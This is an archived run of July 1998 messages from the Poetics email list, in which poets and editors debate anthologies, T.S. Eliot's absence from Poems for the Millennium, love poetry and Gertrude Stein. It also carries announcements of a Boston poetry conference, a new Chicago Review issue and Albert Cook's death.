http://writing.upenn.edu/epc/presses

thanks for listening! and I'll be home to poetics soon (still on the midnight digest, tho I'm reading it all)

jk

aka elijah mcCracker

↑ Index

280. Poetics List Administration
Puffing OTHER
Fri 10 Jul 1998

The FULL VERSION of the
"Introduction: 'A Fair Field Full of Folk',"
to the forthcoming
OTHER: British and Irish Poetry since 1970
edited by Richard Caddel and Peter Quartermain
and due from Wesleyan UP /U of New England P in December

is now available in Jacket#4, with a few pictures, at:

http://www.jacket.zip.com.au/jacket04/otherbrit.html

You might want to check it out.

PQ/RC

+ +

Peter Quartermain
846 Keefer Street
Vancouver
B.C.
Canada V6A 1Y7
Voice : [redacted]
Fax: [redacted]

+ +

↑ Index

281. **George Bowering**
Re: millenium/knife+fork
Fri 10 Jul 1998

I have never seen an anthology that did not leave out good poets. That is the nature of anthologies.

Selected poems often leave out good poems.

The American League all-star team leaves out good first basemen.

George Bowering.

,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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282. **rsillima**
The Eliot problem(s)
Fri 10 Jul 1998

There have been two Eliot problems raised in the past two days --

One is the impact of his estate making stupid demands that keep the work from appearing in something akin to Millenium, save by round-about means.

The other is the Eliot as good/bad person thing.

They're really very different issues. The former Eliot shares with the estates of David Jones and Jack Kerouac. In Jones' case, where many people don't know the work, it's really regretable. In the other cases, it's mostly just stupid.

The other question takes us into the quagmire shared by Pound, Spicer and others, really a reader's problem -- how to handle a writer's racism (or sexism or or or). Earlier this summer I read Faulkner's Flags in the Dust, the original version of what was released as Satoris (before Faulkner became famous and could really publish whatever he wanted). It's a rough work, in the sense that a book like Visions of Cody is rough, brilliant and awkward by turns. It's also the most racist work I've ever encountered, just jaw droppingly so, even though he may have thought himself a liberal by northern Mississippi 1930s standards. I've always liked Faulkner, since he is the one writer of his generation besides Stein who seems to have seriously thought about the sentence as a unit of writing ("thought" might not be the right word), but it was hard to feel good about liking the writing when has to wade through the muck.

Ron Silliman

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283. **Henry G**

Re: Watten)Schwitters)Eros)Romance)

Fri 10 Jul 1998

On Thu, 9 Jul 1998 20:51:32 -0400 Simon DeDeo said:
>
>Wonderful; fireworks explode in my brain with the revelation that
>this poem is about LOVE. Really, it was quite a shocker. And now
>that I know that the poet *actually met* the woman in question, I'm
>even more amazed and convinced that this is a good poem.
>
>Sarcasm aside. My point, which you really haven't responded to, is that
>the poem is a catalogue of cliche strung together by wretchedly boring
>prose. I'm sure the subject matter is important; that doesn't make it
>any less worthy of being ignored. Where is the attention to language?
>Where is the sensation that this guy has done anything more than throw
>the first and completely uninteresting string of metaphors down on the
>page?
>
>And I will certaintly speak for myself. I'm sure the actual Stuart Blazer
>is a wonderful guy, really friendly, kind to animals and head of the
>local chapter of domestic abuse survivors. But if this is what he writes,
>then he should stick to writing newspaper columns for his friends back home
>who would be alternately shocked, upset and titilated by the stories he
>can tell. Not poetry.
>
>I'm just missing the aesthetic experience of appriciating the poem here,

>Henry, is the problem. It's reportage dressed up a little and with linebreaks.
>Perhaps this exhange should end here, since it's hard to argue someone
>into an aesthetic position; you think I'm a philistine or a brute, I
>have my own opinions about your taste.
>

I think what I like about Blazer's poem is its simplicity and directness in addressing THE big traditional subject in poetry, while putting it in the framework of a sestina (in case you hadn't noticed while you scanned his "prose", the sestina puts him back in the matrix of (post) Provencal Italian renaissance poetry; his concluding line is a take-off on the last line of Dante's "Inferno"). He's not trying to be cute, he's not trying to be postmodern; I don't find the prose boring, just fairly graceful in the way it moves through the stanzas. I sent it in because it was so clearly "about" love and succeeds in that way, as opposed to addressing the ponderous socio-political questions of "self" which appear to be more important than the issues of "love" on this thread about love poetry; an emphasis which seems so parochially American-academic (of about 8 years ago). There is so much real poetry out there, past and present, in English and other languages, which is the living tradition itself and which overshadows these vague philosophical conundrums which are definitely a sub-subset of style. Love poetry will always be around; but to measure it by our own musings on the ontology of "self" seems misplaced. Sure, the philosophical issues are important; but maybe it would be good to start with some poetry. I know that's exactly what Patrick Durgin did & was trying to do in starting this discussion & I'm sorry once again to have this blown out of proportion, so now I will be quiet, let lurkers chirp.

Re: your fantasies about Stuart Blazer: he's been writing & teaching poetry for decades, going along his own path in his own way, very much out of the mainstream, very talented. He had an interesting sort of Poundian poem about a trip to Morocco in Nedge #4. - Henry Gould

↑ Index

284. sylvester pollet
Re: The Oldest English Text
Fri 10 Jul 1998

So it's the knife of a cutpurse or highwayman (did they have highwaypersons in 400 A.D.?) who called his/her knife "Beg Not"?

At 12:59 AM -0400 7/10/98, Alan J.J.N. Sondheim wrote:
>-
>
>

>The Oldest English Text
>
>
>(From The Oldest English Texts, Henry Sweet, The Early English Text
>Society, 1885, reprinted Oxford, 1966)
>
>On the Thames Knife, 400-500 AD:
>
>
> Beagnoth
>
>
>Note that 'th' is the letter _thorn._ Beag, crown, ring.
>
>Inscription from Sandwich, Kent, 428-597 AD:
>
> Raehaebul
>
>(Proper name?)
>
>
>_____

↑ Index

285. Joe Amato/Kass Fleisher

Re: Watten)Schwitters)Eros)Romance)

Fri 10 Jul 1998

geez, i hate to sound in the least aloof or condescending, but two poets quarreling over what constitutes the proper? approach to a love poem... wow... i mean, i find the exchange fascinating, simon and henry, but you needn't be so much at each other, right?...

there's just so much to say, no?... depending on my mood, i like cummings's stuff (sorry!), i like donne too, barrett browning, creeley and mayer---the usual suspects, incl. the bard hisself... this is english of course, which may not be the best language for that sentiment---depending muchly too, i suppose, on how you've experienced said sentiment, which seems for some folks to be a matter of being unsentimental, or unsentimental being... i might have said "i prefer---"

but i'm tempted here to pull a bit against the perceived registers, and say that sentiment too has its place---direct, unabashed "i luv u" sentiment... provided, of course, we all keep our wits about us...

anyway, hey---absence makes the heart grow fonder? and we're all about to be unplugged for a s p e l l, so///

love & kisses,

joe

↑ Index

286. Charles Bernstein

Al Cook

Fri 10 Jul 1998

PROVIDENCE, R.I. (AP) - Albert Cook, a Brown University professor who published more than 20 books and plays, died Tuesday of cardiac arrhythmia and coronary artery disease. He was 72.

The scholar of comparative literature, classics and English wrote criticism, poetry, plays and textbooks.

He taught at the University of California, Western Reserve University and the State University of New York at Buffalo before going to Brown in 1978.

* Forrest Gander just sent this sad news to me. Cook was the key figure in initially bringing poets, and not incidentally, poetics to SUNY-Buffalo, hiring Creeley, Olson, Weiners and many others and envisioning an English department where poets and fiction writers would teach literature, rather than creative writing, to undergraduates and graduates. Cook founded the UB English department, and taught there from 1963-1968. He was the author of over 20 books of criticism and 8 books of poetry, and the translator of Oedipus Rex and The Odyssey.

Among his most recent books are Canons and Wisdoms (University of Pennsylvania Press), Temporalizing Space: The Triumphant Strategies of Piero della Francesco (Peter Lang), and a collection of poetry, Modes (Mellon). Other books include: An Anthology Of Greek Tragedy, The Burden Of Prophecy: Poetic Utterance In The Prophets Of The Old Testament, Canons and Wisdoms, Changing The Signs: The Fifteenth-Century Breakthrough, The Dark Voyage and the Golden Mean; A Philosophy of Comedy, Enactment: Greek Tragedy, Figural Choice in Poetry and Art, French Tragedy: The Power Of Enactment, History/Writing, The Meaning of Fiction, Modulars: Poems, Myth and Lanugage, Progressions and Other Poems, The Reach of Poetry, The Root of The Thing; A Study of Job and The Song of Songs, Shakespeare's Enactment: The Dynamics of Renaissance Theatre, The Stance Of Plato, Thresholds: Studies In The Romantic Experience, and Soundings: On Shakespeare, Modern Poetry, Plato, and Other Subjects.

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287. **Douglas Barbour**

Re: Where's Eliot when we need him?

Fri 10 Jul 1998

<<"An interesting question, but one that seems to miss some points. One of which
Gwynn responded to, & I agree with him"

<DENIRO>You talkin' to me? Huh? You talkin' to me?</DENIRO> If you mean me, with one n, I am a "her." But I'll take the agreement anyway.>>

Oops! Pardon me, but my fingers almost never get things right the first time. Sorry.

About that ol' Possum being absent so presently in Poems...:

It is possible that R & J could have included a short poem, say "Morning at the Window" or, even better, 'Hysteria," but I think it's obvious that for their purposes "The Waste Land" is the poem that counts -- and it would have been prohibitively expensive, warping the anthology they were dreaming way out of whack. For me, the poem IS there, & Is invoked in such a way as to be recognized as the part of the necessary experimentation of early modernism it so obviously is.

I would suspect that Heaney & Hughes got him because their anthology was published by Faber & (I would guess) by Eliot's US publisher. Of course, their anthology (ies?) is (are) attempting something very different from Poems 1 & 2.

Hey, what I think Jordan may be missing is that a lot of us 'guys' really appreciate all those women poets & moreover even learn from them as well as from the men. Contra Bloom, I have no problems with my forbears, & am more than happy to celebrate the mothers as well as the fathers -- God knows they taught me well...

Douglas Barbour (h) [403] 4363320 (b) [403]
[redacted]
Department of English
University of Alberta
Edmonton Alberta Canada T6G 2E5

> By stress and syllable
> by change-rhyme and contour
> we let the long line pace equal awkward to its period.

The short line
we refine
and keep for candor.

Robert Duncan

↑ Index

288. **sylvester pollet**
aldon/hotel/nyc
Fri 10 Jul 1998

Sorry, I lost the message so will have to do this on the big board, but then it might be of general interest. There's a very sweet hotel in NYC called Larchmont Hotel, 27 W. 11th St., heart of the village, just off Fifth Ave. It's run like a European place, & is usually full of French speakers, etc. singles $60. & 70., doubles $85. & 90., which includes continental breakfast, use of umbellas, etc. Baths down the hall, two for each wing of 5 rooms, which is one reason it's cheap. But super safe/clean/friendly. Rates I'm giving are as of spring. Tel. [redacted], fax [redacted]. I have the brochure in front of me, so if you want more info back-channel. My wife stayed there in March, loved it. Bon voyage! Sylvester

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289. **Gary Sullivan**
I've always wanted to use the word "crustaceans" in a post. Jackpot!
Fri 10 Jul 1998

Do crustaceans have rights?

On Friday, July 10, 1998 11:50 AM, Jordan Davis [SMTP:[redacted]] wrote:
> If language is alive,
> does language have rights?

↑ Index

290. **Jordan Davis**
missing lots
Fri 10 Jul 1998

Douglas --

I miss lots. They build their butts.

If language is alive,
does language have rights?

If William Carlos Williams was a male gazer,
are his readers leading the league in rushing?

The brackets are always male.
I said female brackets

and for this they say I mock young women.
Is there any thought in American poets?

Is for

↑ Index

291. **William Marsh**
Re: Eng/Poetry/899
Fri 10 Jul 1998

---

this guy's a riot!

At 06:24 PM 7/9/98 -0400, you wrote:
> Now children. Let me explain. Tristan Tzara
> was Tristan Tzara. Paul Celan was Paul Celan.
> Paul Celan was a poet. HE was also a translator.
>
> T.S. Eliot was a great great poet. He also
> was a translator. But now, children,
>
> Oh shhh. Be quiet back there. Yes, yes. I know,
>
> Cd made a typo, oh oh how terrible!
>
> The Waste Land.
>
> Millennium.
>
>
> There we go. yes, children we don't want to fuse those nouns
>
> or adjectives.... Now , children, let me explain.
>
> T.S. Eliot was not St. John Perse.
>
> So the pome[not a typo but an Irishism]
>
> is Not by Mr. Eliot.
>

> However.
>
> I respect Douglas Barbour enough to see that a discourse
>
> could arise out of this polemic.
>
> However on the other hand, this anthology's missing Poet
> makes me think that It is
> like publishing an Anthology of
>
> North American Poesie and not Including
>
> Irving Layton. OR Gregory Corso. say. Or scores of others.
>
> Of course I admire the anthos Millennium as a whole
>
> But it is a whole with a ver Big Missing Part.
>
> Maybe I am wrong and the absence only Proves How Giant
> and gigantic the presence of Eliot's poetry still retains.
> O O O that rage that rage 'agin' the great...
>
> of poetasters and small time readers, would be poets
>
> and could a be poets...
>
> Which is what Harold Bloom does in his funny little list
>
> at the back of the Western Canon.
>
> Now BLoom is a critic and makes no claim to be avant-garde,
>
> marginal, or whatever .
>
> But he does, in spite of his great personal distaste
>
> for Eliot include Eliot in his list of books.
>
> I would say generosity would have been in Order
>
> in the anthology edited by Rothenberg and Joris.
>

> In earlier anthologies of Rothenberg Eliot
>
> is represented as he should be.
>
> Well children, you know Poets are always fighting.
>
> yes, its terrible terrible.
>
> yes, I remember when I met that friend of your father's
>
> and Mister Eliot had tea and he spoke so softly
>
> so much that grandma cld. barely hear him
>
> then he recited those last lines about the mermaids
>
> and the waves rolling back
>
>
> now that was a pleasure.
>
> Yes, a fine one indeed.
>
>
> End Game.
>
> 'Nam Sibyllam quidem Cumis ergo ipse oculis
> meis vidi in ampulla pendere et cum illi pueri dicerent....
>
> Hurry Up Please Hurry Up Please
>
>
> to quote William Burroughs quoting T.S. Eliot.
>
>
> That Dada Strain. Don't ya just love it.
>
>
> I do. I love that book.
>
> Sami Rosenstock meets T.S. Eliot.
>

> in 1920 Ithink it was Tzara sent some poetry to Eliot.
>
> Eliot turned it down.
>
> So it goes. Tzara did very well anyhow.
>
> Tzara and Tom.
>
> Two expatriates..
>
> Meet for Tea in Heavenly Poetic Seminar Room
>
> and discuss meters and meaning.
>
>
>
> Sagacity, Sagacity, Dada Dada.
>
> He do the Poets in Different Voices.
> I like to hear it lap the miles.
>
>
> The sound of money and poetry makes the world go round.
>
> Ah yes, la poesie et l'argent.
>
>
> and Love.
>
>
> Oh . So we read the poetry finally.
>
>
>
>
>

- -
William Marsh | PaperBrainPress
http://bmarsh.dtai.com
- -

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292. **Simon DeDeo**

Re: Watten)Schwitters)Eros)Romance)

Fri 10 Jul 1998

First off, thanks for a civilized reply; the e-mail
I sent off last night was over the top. You're right,
of course, that a love poem is about "love" first, and
the self second; and I certainly don't think that poetry
should be in the business of posing, riddle-like,
philosophical questions that critics try to answer.
On the other hand, remember that "vague philosophical
conundrums" have motivated a large amount of poetry.

I still am not a fan of Blazer's poem -- something
essential, fundamental, still seems to be missing
for me; but let that rest.

-- Simon

http://www.fas.harvard.edu/~sdedeo/localpapers.html

[redacted]

> *I think what I like about Blazer's poem is its simplicity and directness in addressing THE big traditional subject in poetry, while putting it in the framework of a sestina (in case you hadn't noticed while you scanned his "prose", the sestina puts him back in the matrix of (post) Provencal Italian renaissance poetry; his concluding line is a take-off on the last line of Dante's "Inferno"). He's not trying to be cute, he's not trying to be postmodern; I don't find the prose boring, just fairly graceful in the way it moves through the stanzas. I sent it in because it was so clearly "about" love and succeeds in that way, as opposed to addressing the ponderous socio-political questions of "self" which appear to be more important than the issues of "love" on this thread about love poetry; an emphasis which seems so parochially American-academic (of about 8 years ago). There is so much real poetry out there, past and present, in English and other languages, which is the living tradition itself and which overshadows these vague philosophical conundrums which are definitely a sub-subset of style. Love poetry will always be around; but to measure it by our own musings on the ontology of "self" seems misplaced. Sure, the philosophical issues are important; but maybe it would be good to start with some poetry. I know that's exactly what Patrick Durgin did & was trying to do in starting this discussion & I'm sorry once again to have this blown out of proportion, so now I will be quiet, let lurkers chirp.*

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293. **Gary Sullivan**

Kerenyi's use of "opposite"

Fri 10 Jul 1998

Everyone:

Reading Carl Kerenyi's _Dionysos, the Archetypal Image of Indestructible Life_ this weekend near Woodstock (trees! streams! no constant low-level hum of electricity! lots of free marijuana!) I ran across this pretty wonderful passage on Cretan / Minoan art ... but, now I have a question & thought maybe someone could help me out, either posting here or backchannel: What does Kerenyi mean here by "opposite"? I'm totally baffled, have read it to a couple poet friends & roommate Chris, and, well, we can't figure it out. PLEASE help!!!

--Gary

Cretan art ignored the terrifying distance between the human and the transcendent which may tempt man to seek a refuge in abstraction and to create a form for the significant remote from space and time; it equally ignored the glory and futility of single human acts, time-bound, space-bound. In Crete artists did not give substance to the world of the dead through an abstract of the world of the living, nor did they immortalize proud deeds or state a humble claim for divine attention in the temples of the gods. Here and here alone the human bid for timelessness was disregarded in the most complete acceptance of the grace of life the world has ever known. For life means movement and the beauty of movement was woven in the intricate web of living forms which we call "scenes of nature"; was revealed in human-bodies acting their serious games, inspired by a transcendent presence, acting in freedom and restraint, unpurposeful as cyclic time itself." --this section is actually a direct quote from H.A. Groenewegen-Frankfort, from her book _Arrest and Movement_ ... then Kerenyi says: "Minoan art fully justifies this negative characterization--negative from the standpoint of man as center, as the vehicle of his own historical and non-historical glory, but not from the standpoint of the deity, whose presence it demands and requires. Man is always on the edge of this epiphany of the spirit--the spirit or spirits of life and nature--if not face to face with it. In this view an intimation of the godhead could be manifested not only in a swarm of insects, in birds, or in the beasts of the sea, but also in a human gesture, and it could in turn determine man's gestures. ... here I am speaking not of cult gestures side by side with other equally characteristic gestures of simple human existence, but of *the* gesture which time and time again, in different forms of movement, represents the identical situation of man: his non-central position which demands an "opposite" and can be understood only as an "opposite." ..."

PS: Some of you will note that this book wasn't on my list of summer "plan-to-read"s. So, why am I reading it & not the "planned" books? A confession: I am a really, really, really bad planner ...

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294. Elizabeth Treadwell
romantic-not women duelling
Fri 10 Jul 1998

> *What is the love poem, anyway? If you move it far enough away from the Romantic notions of self, would people still recognize it and respond to it as such?*

this part intrigues me. I have been wanting to post about an article on Gertrude Stein that was in a fairly recent New Yorker (excuse me!) wherein the author gave a very psychological reading of the lady's life and work. saying she only wrote 'that way' cause she was scared of her own psychology. and how V Woolf considered Stein a "generational failure".
my questions:
how is psychology (self?) framed?
is there a new way into interiority? (i expect an immediate and foolproof response)
does anyone else love the flatness of Stein's characterization (no i must be the only one)
like the repetition in Ada?
why must Woolf and Stein be opposed in this critical/gossip history? is their a way to integrate?
(and i know they didn't BOND in REAL LIFE)

excuse me. the New Yorker disturbed me.

ps i just must say that bitterish reference to 'poetry of young women' and the Possibility of a trajectory (anthology) framed by women's writing sounds a bit HYSTERICAL!

Elizabeth Treadwell
Outlet, a periodical
Double Lucy Books
PO Box 9013
Berkeley, Ca
94709
http://users.lanminds/com/~dblelucy

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295. **Simon DeDeo**

Re: Kerenyi's use of "opposite"

Fri 10 Jul 1998

> *... here I am speaking not of cult gestures side by side with other equally characteristic gestures of simple human existence, but of *the* gesture which time and time again, in different forms of movement, represents the identical situation of man: his non-central position which demands an "opposite" and can be understood only as an "opposite." ..."*

Kerenyi seems to be making a lot of his argument through visual analogy; man is moved from the center of the Minoan/Cretan attention, but since man (according to K) will by default place himself in the center (geocentric, heliocentric...) of the universe, the decentering must introduce a second element of equal or greater importance to remove the asymmetry. This is the "opposite", towards which, it seems, man is making his gesture; because the tendency to anthropcentrism is so strong, this "opposite" is important only in as much as it alters this fundamental parameter of life.

It is a well written passage; I'm not sure if it holds together, however -- K seems to be somewhat amazed at the conclusion of his thesis, and wants to retract some of the apparent strangeness of the Minoans by understanding their art as a spiritual geometric modification of the Western Renaissance.

-- Simon

http://www.fas.harvard.edu/~sdedeo/localpapers.html

[redacted]

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296. **Charles Alexander**

Re: romantic-not women duelling

Fri 10 Jul 1998

> *does anyone else love the flatness of Stein's characterization (no i must be the only one)*

No, you're certainly not the only one. Many love it. It too is a landscape, and one certainly of love, at times.

> *why must Woolf and Stein be opposed in this critical/gossip history?*

because we (the vague overwhelming general pronoun here) seem to love simplicities, dualities. Someone (and the New Yorker is more than sometimes complicit in this) seems to want a nice packaged one-flavor modernism. There may be a sexist thing going on here, too -- let's not admit both such women into this company -- but that's somewhere way behind the scenes.

> *excuse me. the New Yorker disturbed me.*

In the last bunch of years I've been disturbed, as I would imagine many have, by characterizations of Stein and/or her work in the New Yorker, the New York Times, and other large cultural/media organs of information dissemination, sometimes this dismissal by hack journalists, sometimes by a more 'realistic' writer such as Cynthia Ozick -- here I am reminded of Hejinian and other's notion that "realism too is an '-ism.'" Disturbed often enough that I just can't pay that much attention to the Stein naysayers anymore.

So I then go back to Stein and her work.
and maybe it's not so flat.
maybe it's round:

> This is a little a scene.
> Just when will they go by adapting.
> Nor may they be merrily there. To share.
> Justly. In why.
> It is a round movement this. Because. Declared.
> For it. It is. A Wonder. Because. They. Were. Spared.
> Might it be agreeable if it were a mistake.

I guess what disturbs me most about all who would throw out Stein, flat or round, is just that I have a hard time imagining that people's first take on Stein is not simply finding that her work is so agreeable.

flat or round
with approval of new yorker or not
and without casting out virginia woolf, either -- the flatness or roundness
can accomodate both, and more.

charles
charles alexander :: poet and book artist :: [redacted]
chax press :: alexander writing/design/publishing
books by artists' hands :: web sites built with care and vision
http://alexwritdespub.com/chax :: http://alexwritdespub.com

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297. **Michael Franco**

BOSTON ALTERNATIVE POETRY CONFERENCE AKA POETSTOCK 98

Fri 10 Jul 1998

M. Franco here for Aaron Kiely's BOSTON ALTERNATIVE POETRY CONFERENCE: BLACKSMITH HOUSE, CAMBRIDGE MA. [HARVARD SQUARE]

FRI-SUN JULY 17-19 1998.

READERS/PRESENTERS:

BERNSTEIN, MESSERLI, TAGGART, MATLIN, TORRA, MLINKO, LANSING, F. HOWE, R. WALDROP, BOUCHARD, WARSH, JARNOT, BANSINSKI, GANICK, W. ALEXANDER, PREAVALLET, FUNKHOUSER, ZHANG ER, DOUD, LEASE, L. SCHWARTZ, D. GARDNER, KRUKOWSKI, STROFFOLINO,BURGER, W HOWE, GRUMNAN, BRADY, POUND, KRAMER, KNOX, WARSH, S. COLE, B. ANDERSON, GILMORE, KIELEYWERSHLER-HENRY, KIRSCHENBAUM, KRAMER, SCALAPINO, FRANCO,

FRIDAY JULY 17

READING: 7:30
INTRODUCTION TO THE WEEKEND: w/ KIELY, SCHWARTZ & ALEXANDER

NIGHT READING:
F. HOWE D. BOUCHARD, GARDNER & STROFFOLINO

SAT JULY 18- 9: 30AM
VOCABULARY AND IMIGINATIONS: PANAL W/ MESSERLLI, ALEXANDER, SCHWARTZ, MATLIN,
KIELEY, LEASE, MLINKO & FRANCO

12:00 READING W/ TORRA, LANSING, MLINKO, LEASE, & KRUKOWSKI & SCALAPINO & KIELY

2PM: BIOGRAPHY & CRITCISM PANAL: W/ PREVALLET ON HELEN ADAM... JARNOT ON DUNCAN, ALEXANDER ON LAMANTIA TAGGART ON OPPEN, KNOX ON KOCH & ASHBERY, KIRSCHENBAUM ON d.a.levy, GILMORE ON OPPENHEIMER.

4PM AFTERNOON READING W/ TAGGART, KNOX, SCHWARTZ, ZHANG ER, FUNKHOUSER, KNOX, ANDERSON,BRADY, S.COLE

6PM DAVID MATLIN ON HIS NEW BOOK

7PM NIGHT READING: WARSH, JARNOT, MATLIN, ALEXANDER

SUNDAY JULY 19

10AM NEW POETRY PANEL PRESENTED & ORGANIZED BY BASINSKI w/ KRAMER, BRADY, BURGER, W.HOWE, WERSHLER-HENRY, GRUMMAN & POUND

2PM AFTERNOON READING: WALDROP, MESSERLI, DOUD & FRANCO

4PM PUBLISHING PANAL: W/ TORRA, MESSERLI, BOUCHARD, GANICK, KIRCHENBAUM, FUNKHOUSER

7PM NIGHT READING PREAVALLET, GANICK

8PM CHARLES BERNSTEIN POETRY & POETICS

ADMISSIONS:
$5/reading, $15/saturday pass, $10/sunday pass,
$35/weekend-people can reserve their space now through email or phone and then pay at the conference- checks payable to aaron kiely at p.o.box 441517 somerville, ma
02144-
INFORMATION / RESERVATIONS:

Aaron Kiely
PO box 441517
Somerville Ma 02144
or Email [redacted]

BEST TO ALL ON THE LIST
MICHAEL FRANCO

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298. Chicago Review

New Chicago Review

Fri 10 Jul 1998

The latest issue of Chicago Review (vol. 44, no. 2) is now out, and might be of interest to subscribers to this list. Contents include:

--A long essay by John Taggart entitled "Walk-Out: Rereading George Oppen."

--Poetry by Linh Dinh, Martin Corless-Smith, John Koethe, Colin Simms, Paul Vangelisti, Catherine Wagner, Bill Griffiths, Jody Gladding, and Ronald Johnson.

--Reviews of Peter Cole, Jeff Clark, Ted Hughes, and Louis Zukofsky, with commentary on Poems for the Millennium and Millennial Evenings at the White House.

This issue can be found in bookstores, or ordered directly for $6. Subscriptions are $15 to Poetics List members. Please reply via e-mail or US mail to the address below.

Forthcoming in June: Poetry by Mark Salerno, Matthew Rohrer, Greg Miller, Peter Dale Scott, and many others, as well as a special section on Basil Bunting's biography

Our Web site is currently being updated.

Thank you.

Devin Johnston
Poetry Editor, Chicago Review
5801 S. Kenwood Ave.
Chicago IL 60637-1794
ph/fax [redacted]
e-mail [redacted]

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299. **ken|n|ing**
Re: Watten)Schwitters)Eros)Romance)
Fri 10 Jul 1998

Henry, I should clarify, perhaps. The discussion is not so a-historical, as I see it. By bringing up the Schwitters piece, I meant to begin to consider what "love" is (which pretty obviously calls the "self" into question continuously and in very palpable ways) and how the poem which includes it, comments upon it, can be of service to one's personal history. Love is not what it used to be when I first read the poem in high school. Neither am I, my"self". Todd's comments are welcomed, and I pretty much agree. For all of Da-da poetics's supposed nihilism, this poem is remarkably both dismissive and celebratory. It might be interesting to hear from those reading Watten, to come at these issues from "Bad History"'s trajectory. What that is, I'm still discovering.
Patrick F. Durgin

|
|

k e n n i n g``````````````|```````````````````````````````
a newsletter of contemporary |poetry, poetics, and non-fiction writing
|418 Brown St. #10 Iowa City, IA 52245 USA

On Thu, 9 Jul 1998, henry wrote:

> *Couldn't disagree more. But I'm tired of playing the spoiler shutter-downer of conversations in an alternate universe. My response: let the intellectuals work out the intellectual boundaries of the self. It's all sub-poetry.*
> *This discussion is a-historical in a strictly POETIC HISTORY sense.*
> *Forget about the "self". Try to understand what "love" might be. Then you might take a new tack on the love poem. Start with some Montale, for example. And if you call me Elitist, I will call you a Black Shirt.*
> *- Henry Gould*
> *----------Original message----------*
> *that Schwitters was writing--from bits and scraps of paper--and really writing--to my mind--about the "self"--evident in the line*
>
> > *Thou thee thee thine, I thine, thou mine, we?*
> > *That (by the way) is beside the point*
>
> *and that romantic ideology is really an investigation of the idea of "self"--that Scwitters was amazed by the notion of (him)self and the notion of an art form that negated the central parity as self--is amazing..and yr question, really, it seems, is not what to do with the love poem per se, but what to do with the slef...Love poem as epistolary to the self, really.*
>
> *and the love poem as "petty bourgeous sentimentality...is made fun of...(Werner Schmalenbach...in response to the immeidate "hit" of the poem's publication)*
>
> *and that language /the self trying to produce it--gets all messed up--tangled--in love--so that the real drive behind the poem--is language's self--which exists?*
>
> *"Ich--------liebre------Dir!"*
>
> *Todd Baron*

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300. **Mark Prejsnar**
Tumbling into existence
Fri 10 Jul 1998

On Fri, 10 Jul 1998 [redacted] wrote:

> *I still crave a polemical collection that if it dare not dispense with the editorial introduction, will somehow tell me a surprising story about where and how and why and when poetry tumbles into existence.*

Why not write one yourself??

If the rhetoric, analysis, metaphors, that are dominating discussion seem unuseful to ya, or questionable, why not develop your own analysis that'll show us what you think really *does* need to be said? It would certainly be the best way to explain (and argue compellingly for) your feeling that these other accounts are inadequate.

The point about spatial metaphors is a good one. Important too. Natch, we've gone around on that one on the List more than once before (as you probably remember also)...but without i hasten to add settling anything. As part of one of those earlier threads, i explained my violent opposition to the term "avant-garde," pointing out that it's a military term that isn't helpful or relevant to the activities of poetry. (and of course it carries its own spatial logic, one of advancing armies meeting at a frontline area for combat, rather then of center and periphery...) But i dislike and object to all the rest of 'em as well..

One of the problems is that, perhaps a whole cognitive realignment will be needed, before people stop talking center & periphery. On the other hand (and even more problematically) maybe it will take a complete realignment of the economy, the publishing, distribution and teaching institutions themselves. I mean, there is a reason that spatial metaphors appeal so to people and it ain't just lack of imagination..When the main teaching anthologies contain as much Stein or Zukofsky as Richard Wilbur and Robert Lowell, spatial metaphors of exclusion and clash won't occur so readily to people who know the former are more interesting than the latter...

The post i read just before yours, about the "psychopathology" attack on Stein, is (to use an appropriate word) symptomatic. That is just the umpteenth recycling of the infamous attack on her during her career by BF Skinner.

So, here is one story (sorry it's not more surprising): poetry tumbles into existence, but like people making history in marx's famous phrase, it doesn't tumble into existence just however it pleases: it does so in circumstances it didn't choose, in a fallen world of workshops and Possumless anthologies and listservs.....

mark prejsnar

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301. HENRY GOULD
Re: Tumbling into existence
Fri 10 Jul 1998

I like Gary Roberts' thoughts on this & would suggest an anthology based on a filter of style understood in terms of certain categories. Set aside the conflict-of-interested literary maneuvering: set aside a chronological approach except within the terms of the defined style parameters.

Example: taking off on something Simon Dedeo said about romanticism, make an anthology based on a kind of realism/nominalism spectrum, where realism would be understood as foregrounding "objective description" - Pound's imagism, no-idears-button-things, the Objectivists, the whole anti-personal "epic" thrust of 20th-cent poetry. At the other end of the spectrum would be poetry which "objectifies" itself as object (the Objectivists sort of were planted at the cusp of this position), leading maybe to language poetry etc. This end would include poetry valorized also by the New Critics. Then you'd do another anthology of the subjective/informal stream, which is just as important. & you'd be surprised at the confusion of "mainstream/marginal" and "innovative/traditionalist" categories...

Maybe the millennium antho does this, I don't know.

Another anthology: the generic buddy anthology, entitled Me & My Gang - which would only include real gang members and would have to define its poetics in a forthright & complete manner & not include any of their noble forebears or purported Ancestors in Genius.

- Henry G

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302. groberts
Other introductions
Fri 10 Jul 1998

I just finished reading Richard Caddell and Peter Quartermain's intro to their forthcoming anthology Other British and Irish Poetry since 1970, as currently given at Jacket#4. Having read a number of anthology intros over the years, I was not surprsied to recognize these latest historical narratives and critical syllogisms: they are familiar.

But what would an anthologist's rhetoric of contemporaneity be like if she or he were not to use the spatial metaphor "center/periphery" nor the diction of "mainstream," "other," and "margin"?

These narratives, syllogisms, metaphors, and dictions are assumed to have efficacy; they organize and reveal and overcome x, y, and z. They also can bore.

I still crave a polemical collection that if it dare not dispense with the editorial introduction, will somehow tell me a surprising story about where and how and why and when poetry tumbles into existence.

Since a few of the poets named in the introduction participate on this list from time to time, perhaps they might weigh in on The Way To Introduce Anthologized Poetry.

Must I always pass through the same gate presided over by the same authorities in order to reach your poems?

Gary R.

↑ Index

303. Jordan Davis
why I love country music & poetics (artist of the floating womb)
Fri 10 Jul 1998

Henry --

When you say you don't know whether the Millennium anthology(ies) does this is it because you haven't cracked it yet? Eh? Ask Blarnes, I saw him thumbing (his nose at) it a few weeks ago in the Cold War Bookshop in Oswego.

O we can make theories
about what it is not,
we can make theories
for thought and for not
I mean I don't think that's theory exactly, to talk about a book without
READING
it

and you know I care for you Henry so don't take that badly

Barrett Watten well, I guess I'm with Ben Friedlander liking Watten's paradoxical position of attacking totalization by means of totalizing discourse .. and I am starting to see the charming vulnerability .. Bad History p.43 "there occurs a moment when EVEN I [my caps] can sum up an experience" ... that the anecdotal is being attacked here doesn't make me giggle less to think of EVERY SINGLE SENTENCE in the book thus far as such a summation. Is anybody else thinking MINIMA MORALIA as they read this? So far the only one I get stuck on the wrong side of is "To Elsie" -- hence my crustacean-inducing post -- what's anybody's favorite literature on what the tradition of male gaze lyric poetry does to things, people, poetry, etc?

Not mocking, drowning,
Is for

↑ Index

304. Gary Sullivan
